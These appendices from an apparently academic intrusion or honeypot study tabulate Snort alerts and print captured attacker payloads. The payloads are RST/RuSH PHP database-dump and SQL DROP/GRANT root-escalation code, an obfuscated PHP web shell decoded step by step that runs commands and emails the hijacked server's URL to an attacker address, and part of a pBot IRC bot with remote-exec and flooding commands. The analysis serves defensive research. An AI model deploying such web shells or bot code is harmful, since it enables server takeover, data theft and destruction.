Appendix A Frequency of Reported Attacks

Table 3 summarizes the attacks identified by Snort in BASE. The table lists the top 48 suspected attacks (of 78) ordered by decreasing occurrence.

Table 3: Overview of Reported Attacks

Alert	Classification	Total	# Sources	# Destinations
ATTACK-RESPONSES 403 Forbidden	attempted-recon	12468(33%)	17	3078
http_inspect: WEBROOT DIRECTORY TRAVERSAL	unclassified	9211(24%)	62	298
ftp_pp: FTP parameter length overflow	attempted-admin	3703(10%)	12	11
WEB-MISC guestbook.pl access	attempted-recon	2276(6%)	34	2
WEB-MISC /etc/passwd	attempted-recon	766(2%)	81	10
WEB-MISC http directory traversal	attempted-recon	663(2%)	131	6
WEB-PHP viewtopic.php access	web-application-attack	655(2%)	333	3
WEB-MISC cross site scripting attempt	web-application-attack	621(2%)	107	11
WEB-MISC apache directory disclosure attempt	attempted-dos	511(1%)	16	4
WEB-PHP remote include path	web-application-attack	474(1%)	72	13
ftp_pp: Invalid FTP command	protocol-command-decode	336(1%)	61	30
tag: Tagged Packet	unclassified	286(1%)	60	44
Snort Alert [1:13514:0]	web-application-attack	271(1%)	72	13
WEB-PHP modules.php access	web-application-activity	259(1%)	196	3
WEB-MISC encoded cross site scripting attempt	web-application-attack	181(0%)	15	3
ATTACK-RESPONSES Invalid URL	attempted-recon	149(0%)	20	33
WEB-FRONTPAGE posting	web-application-activity	136(0%)	6	14
MYSQL 4.0 root login attempt	protocol-command-decode	122(0%)	1	3
WEB-MISC Chunked-Encoding transfer attempt	web-application-attack	114(0%)	6	2
Snort Alert [1:13513:0]	web-application-attack	97(0%)	28	7
ftp_pp: FTP malformed parameter	protocol-command-decode	92(0%)	21	10
WEB-MISC .bash_history access	web-application-attack	60(0%)	21	3
ftp_pp: FTP response length overflow	string-detect	59(0%)	5	4
WEB-MISC Linksys router default l/p login attempt	default-login-attempt	55(0%)	6	22
POP3 USER format string attempt	attempted-admin	55(0%)	4	6
WEB-IIS asp-dot attempt	web-application-attack	47(0%)	12	3
FTP CWD ~attempt	denial-of-service	46(0%)	1	1
spp_stream4: TTL Evasion attempt	unclassified	45(0%)	14	10
Snort Alert [1:11837:0]	attempted-user	41(0%)	25	7
WEB-PHP admin.php access	attempted-recon	37(0%)	16	2
WEB-PHP PHPLIB remote command attempt	attempted-user	36(0%)	9	3
WEB-MISC /.... access	attempted-recon	34(0%)	12	2
SNMP AgentX/tcp request	attempted-recon	30(0%)	1	1
WEB-PHP xmlrpc.php post attempt	web-application-attack	29(0%)	21	3
FTP passwd retrieval attempt	suspicious-filename-detect	27(0%)	7	1
FTP .forward	suspicious-filename-detect	25(0%)	6	1
ftp_pp: FTP bounce attack	policy-violation	19(0%)	3	10
WEB-FRONTPAGE .... request	web-application-attack	19(0%)	11	3
WEB-MISC ICQ Webfront HTTP DOS	web-application-attack	18(0%)	5	4
WEB-MISC NetObserve authentication bypass attempt	web-application-attack	17(0%)	1	1
Snort Alert [1:13628:0]	misc-activity	16(0%)	3	3
WEB-MISC .htaccess access	attempted-recon	15(0%)	11	2
SMTP headers too long server response	bad-unknown	13(0%)	5	11
WEB-PHP test.php access	web-application-activity	13(0%)	5	1
Snort Alert [1:13512:0]	web-application-attack	13(0%)	7	5
WEB-COLDFUSION exampleapp access	attempted-recon	10(0%)	2	1
WEB-COLDFUSION sourcewindow.cfm access	attempted-recon	10(0%)	2	1
BAD-TRAFFIC tcp port 0 traffic	misc-activity	10(0%)	2	2

Appendix B RuSH Security Team Payloads

B.1 RuSH Payload 1

This is a part of the rst_sql.php payload which was used in November 2008 against an institute's site. This was retrieved at that time by one of the authors form pcap logs from web traffic.

```
Content-Disposition: form-data; name="file"; filename="rst_sql.php"
Content-Type: application/x-httpd-php

[... code removed for brevity...]

if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
    $file = "C:\\tmp\\dump_".$db.".sql";
    $p_v=$SystemRoot."\my.ini";
    $os="win";
} else {
    $file = "/tmp/dump_".$db.".sql";
    $p_v="/etc/passwd";
}
if ($HTTP_GET_VARS['send']=='send_http') {
function download($file, $type = false, $name = false, $down = false) {
if(!file_exists($file)) exit;
if(!$name) $name = basename($file);
if($down) $type = "application/force-download";
else if(!$type) $type = "application/download";
$disp = $down ? "attachment" : "inline";
header("Content-disposition: ".$disp."; filename=".$name);
header("Content-length: ".filesize($file));
header("Content-type: ".$type);
header("Connection: close");
header("Expires: 0");
set_time_limit(0);
readfile($file);
unlink($file);
exit;
}
if ($HTTP_GET_VARS['strukt']=='d_strukt_bd' && $HTTP_GET_VARS['dump']=='bd'){
   $host = $HTTP_SERVER_VARS["SERVER_NAME"];
   $ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
   $connection=mysql_connect($server.":".$port, $login, $pass
```

B.2 RuSH SQL 'Drop' Attack

This is another piece of web traffic from pcap logs showing an attempt to get all the names of MySQL tables, build a file of those, and then use MySQL DROP to delete the tables.

```
   mysql_select_db($db) or die("$h_error<b>".mysql_error()."</b>$f_error");
   if (sizeof($tabs) == 0) {
      $res = mysql_query("SHOW TABLES FROM $db", $connection);
      if (mysql_num_rows($res) > 0) {
         while ($row = mysql_fetch_row($res)) {
            $tabs[] .= $row[0];
         }
      }
   }
   $fp = fopen($file, "w");
   fputs ($fp, "# RST MySQL tools\n# Home page: http://rst.void.ru\n# Host settings:\n# MySQL version: (".mysql_get_server_info().")\n
# Date: ".
   date("F j, Y, g:i a")."\n# ".$host." (".$ip.")"." dump db \"".$db."\"\n#------------------------------\n
\n");
   foreach($tabs as $tab) {
      if ($add_drop) {
         fputs($fp, "DROP TABLE IF EXISTS `".$tab."`;\n");
      }
      $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $connection)
```

B.3 RuSH SQL 'Grant' (Escalation) Attack

In a third piece of traffic data from pcap logs, we show the attackers trying to use MySQL commands to grant themselves MySQL root privileges on the machine.

```
<li><b>CREATE TABLE test (number INTEGER,texts CHAR(10));</b> ....... ....... test . ...... number -... INTEGER . .... texts -... CHAR
 <li><b>CREATE TABLE `test` SELECT * FROM `rush`;</b> ....... ....... test ,....... ....... rush
 <li><b>ALTER TABLE test CHANGE SITE OLD_SITE INTEGER</b> .............. ....... INTEGER .. SITE . OLD_SITE
 <li><b>ALTER TABLE test RENAME rush</b> .............. ....... test . rush
 <li><b>UPDATE mysql.user SET Password=PASSWORD(\'new_passwd\') WHERE user=\'root\'</b> ....... ..... root ......
 <li><b>FLUSH PRIVILEGES</b> .......... ....... .......... ......
 <li><b>GRANT ALL PRIVILEGES ON *.* TO rst@localhost IDENTIFIED BY \'some_pass\' WITH GRANT OPTION</b> mysql
<b>rst</b> . ....... <b>some_pass</b>
```

Appendix C Example Payload

This appendix demonstrates how the attacker cleverly hid a payload for a PHP injection attack so that it was difficult to detect by automated scanning of the code, and even difficult for a human trying to manually decipher it to read.

C.1 Original source (indecipherable strings shortened for brevity)

We begin with an obfuscated payload encoded in base 64 (shortened for brevity)

```
<?php $_F=__FILE__;$_X='Pz48a...4NHQ7';
eval(base64_decode('Pz48aHRtbD4...0w0yRfWD0w0w=='));?>
```

C.2 Partially decoded source

Applying a base 64 decode gives the following obfuscated source (shortened for brevity). Some comments have also been added by the authors.

```
//PHP SCRIPT
$_F=__FILE__;
//$_X = DECODED BELOW
?><html><h51d><t4tl5>/\/\/\ R5sp2ns5 CMD /\/\/\</t4tl5></h51d><b2dy bgc212r=DC6uoC>
<H6>Ch1ng4ng th4s CMD w4ll r5s3lt 4n c2rr3pt sc1nn4ng !</H6>
</html></h51d></b2dy>
<?php

4f((@5r5g4("34d",5x("4d"))) || (@5r5g4("W4nd2ws",5x("n5t st1rt")))){
    5ch2("S1f5 M2d5 2f th4s S5rv5r 4s : ");
    5ch2("S1f5OFF");
}

5ls5
{
    4n4_r5st2r5("s1f5_m2d5");
    4n4_r5st2r5("2p5n_b1s5d4r");
    4f((@5r5g4("34d",5x("4d"))) || (@5r5g4("W4nd2ws",5x("n5t st1rt"))))
    {
        5ch2("S1f5 M2d5 2f th4s S5rv5r 4s : ");
        5ch2("S1f5OFF");
    }
    5ls5
    {
        5ch2("S1f5 M2d5 2f th4s S5rv5r 4s : ");
        5ch2("S1f5ON");
    }
}

[... the bulk of the obfuscated code omitted for brevity ...]

eval(base64_decode('JF9YP...DOwOw=='));
eval(
$_X=base64_decode($_X); //this has been shown above

//Now they are basically doing their own custom decode...
$_X=strtr($_X,'123456aouie','aouie123456');
//The new $_X when run through this decoding is:

$_R=ereg_replace('__FILE__',"'".$_F."'",$_X);
eval($_R);
$_R=0;
$_X=0;
);
```

C.3 Fully decoded and commented

Finally, we arrive at the plaintext source (with more comments added). The file first tries to turn safe mode on the server to off; send out an email to the intruder; and tries to execute commands using a variety of PHP functions.

```
<html>
<head><title>/\/\/\ Response CMD /\/\/\</title></head>
<body bgcolor=DC143C>
<H1>Changing this CMD will result in corrupt scanning !</H1>
<?php
$_F=__FILE__;

// Run system commands to determine status of system
if ((@eregi("uid", ex("id"))) || (@eregi("Windows", ex("net start")))) {
    echo("Safe Mode of this Server is : SafeOFF");
} else {   //if it thinks it is in safe mode currently
    ini_restore("safe_mode");    //try to modify out of safe mode
    ini_restore("open_basedir");
    if((@eregi("uid", ex("id"))) || (@eregi("Windows", ex("net start"))))
        echo("Safe Mode of this Server is : SafeOFF"); //recheck to see if successful
    else
        echo("Safe Mode of this Server is : SafeON");
}

//Send email to alert intrusion team if successful
mail(
    "adventurecrazyjan@gmail.com",                  //to
    "StableScanner",                        //subject line
    "http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'], //the message
    "From: PitBull CreW <pitbullguys@onlinemail.com>"       //headers
    );

// Takes a command and tries to execute it with various methods
function ex($cfe) {
    $res = '';
    if (!empty($cfe)) { //if we gave it a valid identifier
        if(function_exists('exec'))  {      //see if can run external program
            @exec($cfe,$res);
            $res = join("\n",$res);
        } else if (function_exists('shell_exec')) {   //or run a cmd in shell
            $res = @shell_exec($cfe);
        } else if (function_exists('system')) {   //or can call program with system()
            @ob_start();
            @system($cfe);
            $res = @ob_get_contents();
            @ob_end_clean();
        } else if (function_exists('passthru')) {   //or like system(), except all info passed back
            @ob_start();
            @passthru($cfe);
            $res = @ob_get_contents();
            @ob_end_clean();
        } elseif(@is_resource($f = @popen($cfe,"r"))) { //or try to open variable as a file
            $res = "";
            while(!@feof($f))
                $res .= @fread($f,1024);
            @pclose($f);
        }
    }
    return $res;
}
//exit;

//It is unclear why this line would need to run assuming all above code is $_X
// $_R=ereg_replace('__FILE__',"'".$_F."'",$_X);

$_R=0; //null out values we used
$_X=0;

?>
</body>
</html>
```

Appendix D IRC Bot Payload

Here we show a very small segment of an IRC bot-herder payload which was discussed in section 4.2.2.

```
echo "JaheeM<br>";
/*
 *  #crew@corp. since 2003
 *  edited by: devil__ and MEIAFASE <admin@xdevil.org> <meiafase@pucorp.org>
 *  Friend: LP <fuckerboy@sercret.gov>
 *  COMMANDS:
 *  .user <password> //login to the bot
 *  .logout //logout of the bot
 *  .die //kill the bot
 *  .restart //restart the bot
 *  .mail <to> <from> <subject> <msg> //send an email
 *  .dns <IP|HOST> //dns lookup
 *  .download <URL> <filename> //download a file
 *  .exec <cmd> // uses exec() //execute a command
 *  .sexec <cmd> // uses shell_exec() //execute a command
 *  .cmd <cmd> // uses popen() //execute a command
 *  .info //get system information
 *  .php <php code> // uses eval() //execute php code
 *  .tcpflood <target> <packets> <packetsize> <port> <delay> //tcpflood attack
 *  .udpflood <target> <packets> <packetsize> <delay> //udpflood attack
 *  .raw <cmd> //raw IRC command
 *  .rndnick //change nickname
 *  .pscan <host> <port> //port scan
 *  .safe  // test safe_mode (dvl)
 *  .inbox <to> // test inbox (dvl)
 *  .conback <ip> <port> // conect back (dvl)
 *  .uname // return shell's uname using a php function (dvl)
 */

set_time_limit(0);
error_reporting(0);
echo "ok!";

class pBot
{
 var $config = array("server"=>"irc.eu.abjects.net",
                     "port"=>"6667",
                     "pass"=>"denielsan",
                     "prefix"=>"[report]",
                     "maxrand"=>"3",
                     "chan"=>"#k4m1",
                     "key"=>"####",
                     "modes"=>"+p",
                     "password"=>"miaghi",
                     "trigger"=>".",
                     "hostauth"=>"*" // * for any hostname
                     );
[ ... much code removed for brevity...]
}

$bot = new pBot;
$bot->start();
```